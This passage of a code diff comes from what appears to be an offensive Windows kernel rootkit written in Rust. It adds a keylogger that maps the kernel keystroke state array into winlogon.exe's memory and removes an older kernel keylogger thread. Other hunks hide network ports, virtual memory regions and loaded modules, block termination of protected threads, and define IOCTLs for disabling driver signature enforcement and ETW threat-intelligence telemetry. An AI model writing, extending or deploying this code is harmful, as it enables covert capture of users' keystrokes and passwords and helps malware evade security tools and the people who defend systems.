let output_buffer = (*irp).AssociatedIrp.SystemBuffer;
|
||||
if !output_buffer.is_null() {
|
||||
*(output_buffer as *mut usize) = USER_ADDRESS;
|
||||
}
|
||||
|
||||
(*irp).IoStatus.Information = core::mem::size_of::<usize>() as u64;
|
||||
}
|
||||
|
||||
status
|
||||
STATUS_SUCCESS
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Responsible for enabling/disabling ETWTI.
|
||||
|
||||
80
driver/src/misc/keylogger.rs
Normal file
80
driver/src/misc/keylogger.rs
Normal file
@@ -0,0 +1,80 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
core::{mem::size_of, ptr::null_mut, ffi::c_void},
|
||||
crate::{
|
||||
process::Process,
|
||||
utils::{
|
||||
process_attach::ProcessAttach,
|
||||
get_process_by_name, patterns::scan_for_pattern,
|
||||
address::{get_address_asynckey, get_module_base_address},
|
||||
}
|
||||
},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
IoAllocateMdl, IoFreeMdl, MmBuildMdlForNonPagedPool,
|
||||
MmMapLockedPagesSpecifyCache, MmIsAddressValid
|
||||
},
|
||||
_MEMORY_CACHING_TYPE::MmCached,
|
||||
_MM_PAGE_PRIORITY::NormalPagePriority,
|
||||
_MODE::UserMode, PEPROCESS
|
||||
}
|
||||
};
|
||||
|
||||
/// Variable holding a user space address for keylogger functionality.
|
||||
pub static mut USER_ADDRESS: usize = 0;
|
||||
|
||||
/// Retrieves the address of gafAsyncKeyState and maps it to the user mode of winlogon.exe.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// - `Option<*mut c_void>`: If successful, the address will be returned as Some, if not found, it will be returned as None.
|
||||
///
|
||||
pub unsafe fn get_user_address_keylogger() -> Option<*mut c_void> {
|
||||
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
||||
let winlogon_process = Process::new(pid)?;
|
||||
let gaf_async_key_state_address = get_gafasynckeystate_address(pid, winlogon_process.e_process)?;
|
||||
let attach_process = ProcessAttach::new(winlogon_process.e_process);
|
||||
|
||||
// Check that the address is valid
|
||||
if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 {
|
||||
log::info!("Invalid or pagable gafAsyncKeyState address");
|
||||
return None;
|
||||
}
|
||||
|
||||
// Allocates the MDL to memory
|
||||
let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut());
|
||||
if mdl.is_null() {
|
||||
log::info!("IoAllocateMdl Failed");
|
||||
return None;
|
||||
}
|
||||
|
||||
MmBuildMdlForNonPagedPool(mdl);
|
||||
|
||||
// Maps memory to user space
|
||||
let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32);
|
||||
if address.is_null() {
|
||||
log::info!("MmMapLockedPagesSpecifyCache Failed");
|
||||
IoFreeMdl(mdl);
|
||||
return None;
|
||||
}
|
||||
|
||||
Some(address)
|
||||
}
|
||||
|
||||
/// Get the address of the `gafAsyncKeyState` array.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
|
||||
///
|
||||
unsafe fn get_gafasynckeystate_address(pid: usize, process: PEPROCESS) -> Option<*mut u8> {
|
||||
let winlogon_eprocess = Process::new(pid)?;
|
||||
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||
let attach_process = ProcessAttach::new(winlogon_eprocess.e_process);
|
||||
|
||||
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
||||
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
|
||||
let pattern = [0x48, 0x8B, 0x05];
|
||||
scan_for_pattern(function_address, &pattern, 3, 7, 0x200, i32::from_le_bytes)
|
||||
}
|
||||
@@ -1,156 +0,0 @@
|
||||
/// Mapping virtual key codes to characters.
|
||||
pub const VK_CHARS: [(u8, &'static str); 153] = [
|
||||
(0x01, "LEFT MOUSE BUTTON"),
|
||||
(0x02, "RIGTH MOUSE BUTTON"),
|
||||
(0x03, "CANCEL"),
|
||||
(0x04, "MIDDLE MOUSE BUTTON"),
|
||||
(0x05, "X1 MOUSE BUTTON"),
|
||||
(0x06, "X2 MOUSE BUTTON"),
|
||||
(0x08, "BACKSPACE"),
|
||||
(0x09, "TAB"),
|
||||
(0x0C, "CLEAR"),
|
||||
(0x0D, "ENTER"),
|
||||
(0x10, "SHIFT"),
|
||||
(0x11, "CONTROL"),
|
||||
(0x12, "ALT"),
|
||||
(0x13, "PAUSE"),
|
||||
(0x14, "CAPS LOCK"),
|
||||
(0x1B, "ESCAPE"),
|
||||
(0x20, "SPACEBAR"),
|
||||
(0x21, "PAGE UP"),
|
||||
(0x22, "PAGE DOWN"),
|
||||
(0x23, "END"),
|
||||
(0x24, "HOME"),
|
||||
(0x25, "LEFT ARROW"),
|
||||
(0x26, "UP ARROW"),
|
||||
(0x27, "RIGHT ARROW"),
|
||||
(0x28, "DOWN ARROW"),
|
||||
(0x29, "SELECT"),
|
||||
(0x2A, "PRINT"),
|
||||
(0x2B, "EXECUTE"),
|
||||
(0x2C, "PRINT SCREEN"),
|
||||
(0x2D, "INSERT"),
|
||||
(0x2E, "DELETE"),
|
||||
(0x2F, "HELP"),
|
||||
(0x5B, "LEFT WINDOWS"),
|
||||
(0x5C, "RIGHT WINDOWS"),
|
||||
(0x5D, "APPLICATIONS"),
|
||||
(0x5F, "SLEEP"),
|
||||
(0x60, "NUMPAD 0"),
|
||||
(0x61, "NUMPAD 1"),
|
||||
(0x62, "NUMPAD 2"),
|
||||
(0x63, "NUMPAD 3"),
|
||||
(0x64, "NUMPAD 4"),
|
||||
(0x65, "NUMPAD 5"),
|
||||
(0x66, "NUMPAD 6"),
|
||||
(0x67, "NUMPAD 7"),
|
||||
(0x68, "NUMPAD 8"),
|
||||
(0x69, "NUMPAD 9"),
|
||||
(0x6A, "NUMPAD *"),
|
||||
(0x6B, "NUMPAD +"),
|
||||
(0x6C, "SEPARATOR"),
|
||||
(0x6D, "NUMPAD -"),
|
||||
(0x6E, "NUMPAD ."),
|
||||
(0x6F, "NUMPAD /"),
|
||||
(0x70, "F1"),
|
||||
(0x71, "F2"),
|
||||
(0x72, "F3"),
|
||||
(0x73, "F4"),
|
||||
(0x74, "F5"),
|
||||
(0x75, "F6"),
|
||||
(0x76, "F7"),
|
||||
(0x77, "F8"),
|
||||
(0x78, "F9"),
|
||||
(0x79, "F10"),
|
||||
(0x7A, "F11"),
|
||||
(0x7B, "F12"),
|
||||
(0x7C, "F13"),
|
||||
(0x7D, "F14"),
|
||||
(0x7E, "F15"),
|
||||
(0x7F, "F16"),
|
||||
(0x80, "F17"),
|
||||
(0x81, "F18"),
|
||||
(0x82, "F19"),
|
||||
(0x83, "F20"),
|
||||
(0x84, "F21"),
|
||||
(0x85, "F22"),
|
||||
(0x86, "F23"),
|
||||
(0x87, "F24"),
|
||||
(0x90, "NUM LOCK"),
|
||||
(0x91, "SCROLL LOCK"),
|
||||
(0xA6, "BROWSER BACK"),
|
||||
(0xA7, "BROWSER FORWARD"),
|
||||
(0xA8, "BROWSER REFRESH"),
|
||||
(0xA9, "BROWSER STOP"),
|
||||
(0xAA, "BROWSER SEARCH"),
|
||||
(0xAB, "BROWSER FAVORITES"),
|
||||
(0xAC, "BROWSER HOME"),
|
||||
(0xAD, "VOLUME MUTE"),
|
||||
(0xAE, "VOLUME DOWN"),
|
||||
(0xAF, "VOLUME UP"),
|
||||
(0xB0, "MEDIA NEXT TRACK"),
|
||||
(0xB1, "MEDIA PREVIOUS TRACK"),
|
||||
(0xB2, "MEDIA STOP"),
|
||||
(0xB3, "MEDIA PLAY/PAUSE"),
|
||||
(0xB4, "LAUNCH MAIL"),
|
||||
(0xB5, "MEDIA SELECT"),
|
||||
(0xB6, "LAUNCH APPLICATION 1"),
|
||||
(0xB7, "LAUNCH APPLICATION 2"),
|
||||
(0xBA, "OEM 1"),
|
||||
(0xBB, "OEM +"),
|
||||
(0xBC, "OEM ,"),
|
||||
(0xBD, "OEM -"),
|
||||
(0xBE, "OEM ."),
|
||||
(0xBF, "OEM 2"),
|
||||
(0xC0, "OEM 3"),
|
||||
(0xDB, "OEM 4"),
|
||||
(0xDC, "OEM 5"),
|
||||
(0xDD, "OEM 6"),
|
||||
(0xDE, "OEM 7"),
|
||||
(0xDF, "OEM 8"),
|
||||
(0xE2, "OEM 102"),
|
||||
(0xE5, "IME PROCESS"),
|
||||
(0xE7, "PACKET"),
|
||||
(0xF6, "ATTN"),
|
||||
(0xF7, "CRSEL"),
|
||||
(0xF8, "EXSEL"),
|
||||
(0xF9, "EREOF"),
|
||||
(0xFA, "PLAY"),
|
||||
(0xFB, "ZOOM"),
|
||||
(0x30, "0"),
|
||||
(0x31, "1"),
|
||||
(0x32, "2"),
|
||||
(0x33, "3"),
|
||||
(0x34, "4"),
|
||||
(0x35, "5"),
|
||||
(0x36, "6"),
|
||||
(0x37, "7"),
|
||||
(0x38, "8"),
|
||||
(0x39, "9"),
|
||||
(0x41, "A"),
|
||||
(0x42, "B"),
|
||||
(0x43, "C"),
|
||||
(0x44, "D"),
|
||||
(0x45, "E"),
|
||||
(0x46, "F"),
|
||||
(0x47, "G"),
|
||||
(0x48, "H"),
|
||||
(0x49, "I"),
|
||||
(0x4A, "J"),
|
||||
(0x4B, "K"),
|
||||
(0x4C, "L"),
|
||||
(0x4D, "M"),
|
||||
(0x4E, "N"),
|
||||
(0x4F, "O"),
|
||||
(0x50, "P"),
|
||||
(0x51, "Q"),
|
||||
(0x52, "R"),
|
||||
(0x53, "S"),
|
||||
(0x54, "T"),
|
||||
(0x55, "U"),
|
||||
(0x56, "V"),
|
||||
(0x57, "W"),
|
||||
(0x58, "X"),
|
||||
(0x59, "Y"),
|
||||
(0x5A, "Z"),
|
||||
];
|
||||
@@ -1,217 +0,0 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
keys::VK_CHARS,
|
||||
shared::structs::Keylogger,
|
||||
core::{ffi::c_void, mem::size_of},
|
||||
crate::{
|
||||
get_ks_byte,
|
||||
get_ks_down_bit,
|
||||
is_key_down,
|
||||
set_key_down,
|
||||
process::Process,
|
||||
internals::externs::MmCopyVirtualMemory,
|
||||
utils::{
|
||||
address::{get_address_asynckey, get_module_base_address},
|
||||
get_process_by_name,
|
||||
patterns::scan_for_pattern,
|
||||
process_attach::ProcessAttach,
|
||||
},
|
||||
},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
IoGetCurrentProcess,
|
||||
KeDelayExecutionThread,
|
||||
PsTerminateSystemThread,
|
||||
},
|
||||
LARGE_INTEGER,
|
||||
NTSTATUS,
|
||||
STATUS_SUCCESS,
|
||||
_MODE::KernelMode,
|
||||
},
|
||||
};
|
||||
|
||||
pub mod macros;
|
||||
pub mod keys;
|
||||
|
||||
/// Global variable to store the keylogger's status.
|
||||
pub static mut STATUS: bool = false;
|
||||
|
||||
/// Global variable to control the shutdown of the keylogger.
|
||||
pub static mut SHUTDOWN: bool = false;
|
||||
|
||||
/// Process Winlogon.
|
||||
static mut WINLOGON_EPROCESS: Option<Process> = None;
|
||||
|
||||
/// PID of the process.
|
||||
static mut PID: Option<usize> = None;
|
||||
|
||||
/// Key states.
|
||||
static mut KEY_STATE: [u8; 64] = [0; 64];
|
||||
static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
|
||||
static mut KEY_RECENT: [u8; 64] = [0; 64];
|
||||
|
||||
/// Converts a virtual key code to a character.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The code for the virtual key.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
|
||||
///
|
||||
fn vk_to_char(key: u8) -> &'static str {
|
||||
for &(vk, char) in &VK_CHARS {
|
||||
if vk == key {
|
||||
return char;
|
||||
}
|
||||
}
|
||||
"UNKNOWN"
|
||||
}
|
||||
|
||||
/// Updates the status of the keys.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `address`: Array address `gafAsyncKeyState`.
|
||||
///
|
||||
unsafe fn update_key_state(address: *mut u8) {
|
||||
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
|
||||
|
||||
if !initialize_winlogon_process() {
|
||||
return;
|
||||
}
|
||||
|
||||
if let Some(winlogon_eprocess) = WINLOGON_EPROCESS.as_ref() {
|
||||
let mut return_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
winlogon_eprocess.e_process,
|
||||
address as _,
|
||||
IoGetCurrentProcess(),
|
||||
KEY_STATE.as_ptr() as *mut c_void,
|
||||
size_of::<[u8; 64]>() as u64,
|
||||
KernelMode as i8,
|
||||
&mut return_number,
|
||||
);
|
||||
|
||||
for i in 0..256 {
|
||||
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||
set_key_down!(KEY_RECENT, i, true);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
log::error!("[!] Error updating key status")
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
/// Starts the Winlogon process.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: if the Winlogon process was successfully initialized, otherwise `false`.
|
||||
///
|
||||
unsafe fn initialize_winlogon_process() -> bool {
|
||||
if WINLOGON_EPROCESS.is_some() && PID.is_some() {
|
||||
return true;
|
||||
}
|
||||
|
||||
PID = get_process_by_name(obfstr!("winlogon.exe"));
|
||||
if let Some(pid) = PID {
|
||||
WINLOGON_EPROCESS = Process::new(pid);
|
||||
WINLOGON_EPROCESS.is_some()
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if a key has been pressed.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The key code.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: if the key was pressed, otherwise `false`.
|
||||
///
|
||||
unsafe fn key_pressed(key: u8) -> bool {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
result
|
||||
}
|
||||
|
||||
/// The keylogger's main function.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `_address`: Function address (Is not used).
|
||||
///
|
||||
pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
|
||||
let function_address = match get_gafasynckeystate_address() {
|
||||
Some(addr) => addr,
|
||||
None => return,
|
||||
};
|
||||
|
||||
while !SHUTDOWN {
|
||||
if STATUS {
|
||||
// Read the contents of gafAsyncKeyStateAddr and send to KEY_STATE
|
||||
update_key_state(function_address);
|
||||
|
||||
for i in 0..256 {
|
||||
if key_pressed(i as u8) {
|
||||
log::info!("{} pressed", vk_to_char(i as u8));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut interval = LARGE_INTEGER {
|
||||
QuadPart: -1 * -(50 * 10000_i64),
|
||||
};
|
||||
|
||||
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||
}
|
||||
|
||||
PsTerminateSystemThread(STATUS_SUCCESS);
|
||||
|
||||
}
|
||||
|
||||
/// Get the address of the `gafAsyncKeyState` array.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
|
||||
///
|
||||
unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
|
||||
if !initialize_winlogon_process() {
|
||||
return None
|
||||
}
|
||||
|
||||
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
|
||||
|
||||
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||
|
||||
let attach_process = ProcessAttach::new(winlogon_eprocess.e_process);
|
||||
|
||||
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
||||
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
|
||||
let pattern = [0x48, 0x8B, 0x05];
|
||||
|
||||
scan_for_pattern(function_address, &pattern, 3, 7, 0x200, u32::from_le_bytes)
|
||||
}
|
||||
|
||||
/// Sets the keylogger status.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `info`: Pointer to the `Keylogger` structure.
|
||||
///
|
||||
/// # Returns
|
||||
/// `NTSTATUS`: Returns STATUS_SUCCESS.
|
||||
///
|
||||
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
|
||||
STATUS = (*info).enable;
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
@@ -3,17 +3,20 @@ use {
|
||||
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||
shared::structs::{ModuleInfo, TargetModule, TargetProcess},
|
||||
wdk_sys::{
|
||||
ntddk::IoGetCurrentProcess,
|
||||
ntddk::IoGetCurrentProcess, _MODE::KernelMode,
|
||||
FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
|
||||
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
||||
_MODE::KernelMode
|
||||
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
||||
},
|
||||
crate::{
|
||||
internals::{
|
||||
structs::MMVAD_SHORT, vad::MMVAD,
|
||||
externs::{MmCopyVirtualMemory, PsGetProcessPeb}
|
||||
},
|
||||
process::Process, utils::{pool::PoolMemory, process_attach::ProcessAttach}
|
||||
process::Process,
|
||||
utils::{
|
||||
pool::PoolMemory, process_attach::ProcessAttach,
|
||||
offsets::get_vad_root,
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
@@ -162,7 +165,9 @@ impl Module {
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||
log::info!("==> {}", module_name.contains(&dll_name.to_lowercase()));
|
||||
log::info!("==> {}", module_name);
|
||||
if module_name.contains(&dll_name.to_lowercase()) {
|
||||
// Removes the module from the load order list
|
||||
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
||||
@@ -198,8 +203,9 @@ impl Module {
|
||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
|
||||
///
|
||||
pub unsafe fn hide_object(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
|
||||
let vad_root = 0x7d8;
|
||||
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root) as *mut RTL_BALANCED_NODE;
|
||||
let vad_root = get_vad_root();
|
||||
log::info!("{:x}", vad_root);
|
||||
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
|
||||
let current_node = vad_table;
|
||||
|
||||
// Uses a stack to iteratively traverse the tree
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
super::port::add_remove_port_toggle,
|
||||
crate::{utils::ioctls::IoctlHandler, handle},
|
||||
shared::{ioctls::IOCTL_PORT, structs::PortInfo},
|
||||
hashbrown::HashMap,
|
||||
core::sync::atomic::Ordering,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS},
|
||||
shared::{ioctls::IOCTL_PORT, structs::PortInfo},
|
||||
crate::{handle, utils::ioctls::IoctlHandler, Port},
|
||||
super::{port::{add_remove_port_toggle, PROTECTED_PORTS}, HOOK_INSTALLED},
|
||||
};
|
||||
|
||||
/// Registers the IOCTL handlers for port-related operations.
|
||||
@@ -20,7 +21,22 @@ use {
|
||||
pub fn get_port_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Responsible for hide/unhide Port.
|
||||
ioctls.insert(IOCTL_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
let protected_ports = PROTECTED_PORTS.lock();
|
||||
|
||||
if protected_ports.is_empty() && !HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||
unsafe { Port::install_hook() };
|
||||
}
|
||||
|
||||
drop(protected_ports);
|
||||
|
||||
let status = unsafe { handle!(stack, add_remove_port_toggle, PortInfo) };
|
||||
if NT_SUCCESS(status) {
|
||||
let protected_ports = PROTECTED_PORTS.lock();
|
||||
if protected_ports.is_empty() && HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||
unsafe { Port::uninstall_hook() };
|
||||
}
|
||||
}
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
|
||||
status
|
||||
|
||||
@@ -41,7 +41,7 @@ fn add_target_port(port: *mut PortInfo) -> NTSTATUS {
|
||||
let mut ports = PROTECTED_PORTS.lock();
|
||||
let port = unsafe { *port };
|
||||
|
||||
if ports.len() >= 100 {
|
||||
if ports.len() >= MAX_PORT {
|
||||
log::error!("Port list is full");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
@@ -70,7 +70,11 @@ fn remove_target_port(port: *mut PortInfo) -> NTSTATUS {
|
||||
let mut ports = PROTECTED_PORTS.lock();
|
||||
(unsafe { *port }).enable = true;
|
||||
|
||||
if let Some(index) = ports.iter().position(|&p| p == unsafe { *port }) {
|
||||
if let Some(index) = ports.iter().position(|&p| {
|
||||
p.protocol == (unsafe { *port }).protocol
|
||||
&& p.port_type == (unsafe { *port }).port_type
|
||||
&& p.port_number == (unsafe { *port }).port_number
|
||||
}) {
|
||||
ports.remove(index);
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
@@ -79,11 +83,19 @@ fn remove_target_port(port: *mut PortInfo) -> NTSTATUS {
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if a port is in the list of protected ports.
|
||||
///
|
||||
/// This function locks access to the `PROTECTED_PORTS` list and verifies
|
||||
/// if the given `port` is contained within it.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `port` - A `PortInfo` struct that represents the port to be checked.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: `true` if the `port` is in the protected list, otherwise returns `false`.
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
pub fn check_port(port: PortInfo) -> bool {
|
||||
PROTECTED_PORTS.lock().contains(&port)
|
||||
}
|
||||
@@ -238,6 +238,7 @@ impl Registry<String> {
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: Returns true if the key is in the list, or false otherwise.
|
||||
///
|
||||
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
|
||||
Vec::contains_item(&list, &key)
|
||||
}
|
||||
|
||||
@@ -130,7 +130,6 @@ pub unsafe extern "C" fn on_pre_open_thread(
|
||||
let tids = TARGET_TIDS.lock();
|
||||
|
||||
if tids.contains(&tid) {
|
||||
log::info!("Anti-Kill actived with TID => {}", tid);
|
||||
let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT);
|
||||
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||
}
|
||||
|
||||
@@ -32,11 +32,11 @@ use {
|
||||
slice::from_raw_parts
|
||||
},
|
||||
crate::{
|
||||
process::Process,
|
||||
internals::{
|
||||
structs::SystemModuleInformation,
|
||||
externs::PsGetProcessPeb
|
||||
},
|
||||
process::Process
|
||||
},
|
||||
};
|
||||
|
||||
@@ -488,4 +488,21 @@ where
|
||||
}
|
||||
|
||||
result // Returns the result of the operation
|
||||
}
|
||||
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
pub fn get_windows_build_number() -> u32 {
|
||||
unsafe {
|
||||
let mut os_info: OSVERSIONINFOW = core::mem::zeroed();
|
||||
os_info.dwOSVersionInfoSize = core::mem::size_of::<OSVERSIONINFOW>() as u32;
|
||||
|
||||
if RtlGetVersion(&mut os_info) != 0 {
|
||||
return os_info.dwBuildNumber;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
@@ -1,6 +1,31 @@
|
||||
use crate::utils::uni;
|
||||
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
||||
|
||||
pub static mut BUILD_NUMBER: u32 = 0;
|
||||
const WIN_1507: u32 = 10240;
|
||||
const WIN_1511: u32 = 10586;
|
||||
const WIN_1607: u32 = 14393;
|
||||
const WIN_1703: u32 = 15063;
|
||||
const WIN_1709: u32 = 16299;
|
||||
const WIN_1803: u32 = 17134;
|
||||
const WIN_1809: u32 = 17763;
|
||||
const WIN_1903: u32 = 18362;
|
||||
const WIN_1909: u32 = 18363;
|
||||
#[allow(dead_code)]
|
||||
const WIN_2004: u32 = 19041;
|
||||
#[allow(dead_code)]
|
||||
const WIN_20H2: u32 = 19042;
|
||||
#[allow(dead_code)]
|
||||
const WIN_21H1: u32 = 19043;
|
||||
#[allow(dead_code)]
|
||||
const WIN_21H2: u32 = 19044;
|
||||
#[allow(dead_code)]
|
||||
const WIN_22H2: u32 = 19045;
|
||||
#[allow(dead_code)]
|
||||
const WIN_1121H2: u32 = 22000;
|
||||
#[allow(dead_code)]
|
||||
const WIN_1122H2: u32 = 22621;
|
||||
|
||||
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
|
||||
///
|
||||
/// # Returns
|
||||
@@ -15,9 +40,7 @@ pub unsafe fn get_offset_signature() -> isize {
|
||||
.try_into()
|
||||
.map(u16::from_le_bytes)
|
||||
.expect("Slice length is not 2, cannot convert");
|
||||
|
||||
log::info!("EPROCESS.SignatureLevel: {:#x}", offset);
|
||||
|
||||
|
||||
offset as isize
|
||||
}
|
||||
|
||||
@@ -27,6 +50,7 @@ pub unsafe fn get_offset_signature() -> isize {
|
||||
///
|
||||
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||
///
|
||||
///
|
||||
pub unsafe fn get_offset_unique_process_id() -> isize {
|
||||
let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode();
|
||||
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||
@@ -36,8 +60,6 @@ pub unsafe fn get_offset_unique_process_id() -> isize {
|
||||
.map(u16::from_le_bytes)
|
||||
.expect("Slice length is not 2, cannot convert");
|
||||
|
||||
log::info!("EPROCESS.UniqueProcessId: {:#x}", offset);
|
||||
|
||||
offset as isize
|
||||
}
|
||||
|
||||
@@ -56,8 +78,6 @@ pub unsafe fn get_offset_token() -> isize {
|
||||
.map(u16::from_le_bytes)
|
||||
.expect("Slice length is not 2, cannot convert");
|
||||
|
||||
log::info!("EPROCESS.Token: {:#x}", offset);
|
||||
|
||||
offset as isize
|
||||
}
|
||||
|
||||
@@ -76,7 +96,23 @@ pub unsafe fn get_rundown_protect() -> isize {
|
||||
.map(u16::from_le_bytes)
|
||||
.expect("Slice length is not 2, cannot convert");
|
||||
|
||||
log::info!("ETHREAD.RundownProtect: {:#x}", offset);
|
||||
|
||||
offset as isize
|
||||
}
|
||||
|
||||
/// Returns the virtual address descriptor (VAD) root offset based on the Windows build number.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `u32`: value representing the offset for the VAD root depending on the Windows build number.
|
||||
///
|
||||
#[inline]
|
||||
pub unsafe fn get_vad_root() -> u32 {
|
||||
match BUILD_NUMBER {
|
||||
WIN_1507 => 0x608,
|
||||
WIN_1511 => 0x610,
|
||||
WIN_1607 => 0x620,
|
||||
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
|
||||
WIN_1903 | WIN_1909 => 0x658,
|
||||
_ => 0x7d8,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
const FILE_DEVICE_UNKNOWN: u32 = 34;
|
||||
const METHOD_NEITHER: u32 = 3;
|
||||
const METHOD_BUFFERED: u32 = 0;
|
||||
const FILE_ANY_ACCESS: u32 = 0;
|
||||
|
||||
macro_rules! CTL_CODE {
|
||||
@@ -29,7 +30,7 @@ pub const IOCTL_ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, ME
|
||||
pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Keylogger
|
||||
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS);
|
||||
|
||||
// ETWTI
|
||||
pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
@@ -33,17 +33,6 @@ pub struct LIST_ENTRY {
|
||||
pub Blink: *mut LIST_ENTRY,
|
||||
}
|
||||
|
||||
/// Represents the state of the keylogger system.
|
||||
///
|
||||
